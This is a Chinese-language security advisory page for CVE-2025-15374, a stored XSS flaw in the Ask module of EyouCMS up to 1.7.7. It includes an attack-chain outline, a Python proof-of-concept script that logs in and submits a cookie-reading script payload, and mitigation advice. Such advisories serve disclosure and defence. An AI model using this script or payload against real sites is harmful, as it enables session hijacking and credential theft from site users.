IPBUF安全漏洞报告
English
CVE-2025-15374 CVSS 3.5 低危

CVE-2025-15374 EyouCMS Ask模块content参数跨站脚本漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-15374
漏洞类型
跨站脚本 (XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
EyouCMS

相关标签

跨站脚本XSS存储型XSSEyouCMSAsk模块CVE-2025-15374Web安全内容管理框架

漏洞概述

CVE-2025-15374是EyouCMS存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响EyouCMS 1.7.7及之前版本,漏洞位于Ask(问答)模块的文件application/home/model/Ask.php中。攻击者可以通过在content参数中注入恶意JavaScript代码,当其他用户访问或查看相关内容时,恶意脚本将在受害者浏览器中执行。这可能导致会话劫持、凭据盗窃、恶意重定向或篡改网页内容等安全问题。由于该漏洞已公开利用,强烈建议受影响的用户尽快升级到厂商发布的安全版本v1.7.8。

技术细节

该漏洞为存储型XSS(Stored XSS),存在于EyouCMS的Ask问答模块中。攻击者通过在提交问答内容时,在content参数中注入恶意JavaScript或HTML代码。由于应用程序未对用户输入进行充分的输入验证和输出编码,恶意代码被存储在数据库中。当其他用户查看该问答内容时,恶意脚本会作为页面内容的一部分被浏览器解析执行。漏洞利用条件包括:1)攻击者需具有提交问答内容的低权限用户账户;2)需要诱导其他用户访问包含恶意脚本的页面。由于该漏洞可通过网络远程利用,且攻击复杂度较低,对系统造成一定的安全风险。

攻击链分析

STEP 1
1
攻击者注册并登录EyouCMS低权限账户
STEP 2
2
访问Ask问答模块,在content参数中注入XSS恶意载荷如<script>alert(document.cookie)</script>
STEP 3
3
提交恶意内容后,payload被存储在数据库中
STEP 4
4
诱导其他用户(如管理员)访问包含恶意脚本的问答页面
STEP 5
5
受害者浏览器解析页面时执行恶意JavaScript代码,窃取Cookie或会话信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15374 PoC - EyouCMS XSS in Ask Module # Target: EyouCMS <= 1.7.7 # Module: Ask Module (application/home/model/Ask.php) # Parameter: content TARGET_URL = "http://target.com/eyoucms" LOGIN_URL = f"{TARGET_URL}/user/login" ASK_SUBMIT_URL = f"{TARGET_URL}/ask/submit" # XSS Payload XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def login(session, username, password): """Login to EyouCMS""" data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=data) return response.status_code == 200 def submit_ask_content(session, title, content): """Submit malicious content to Ask module""" data = { 'title': title, 'content': content # XSS payload injection point } response = session.post(ASK_SUBMIT_URL, data=data) return response.status_code == 200 def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() # Step 1: Login if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Submit XSS payload if submit_ask_content(session, "Test Question", XSS_PAYLOAD): print("[+] XSS payload submitted successfully") print(f"[+] Payload: {XSS_PAYLOAD}") else: print("[-] Failed to submit payload") if __name__ == "__main__": main()

影响范围

EyouCMS <= 1.7.7

防御指南

临时缓解措施
立即将EyouCMS升级到v1.7.8版本。在升级前,可临时禁用Ask问答模块或限制低权限用户的提问功能。对所有用户输入实施严格的输入验证,对输出内容进行HTML实体编码,并配置Content-Security-Policy响应头来防御XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表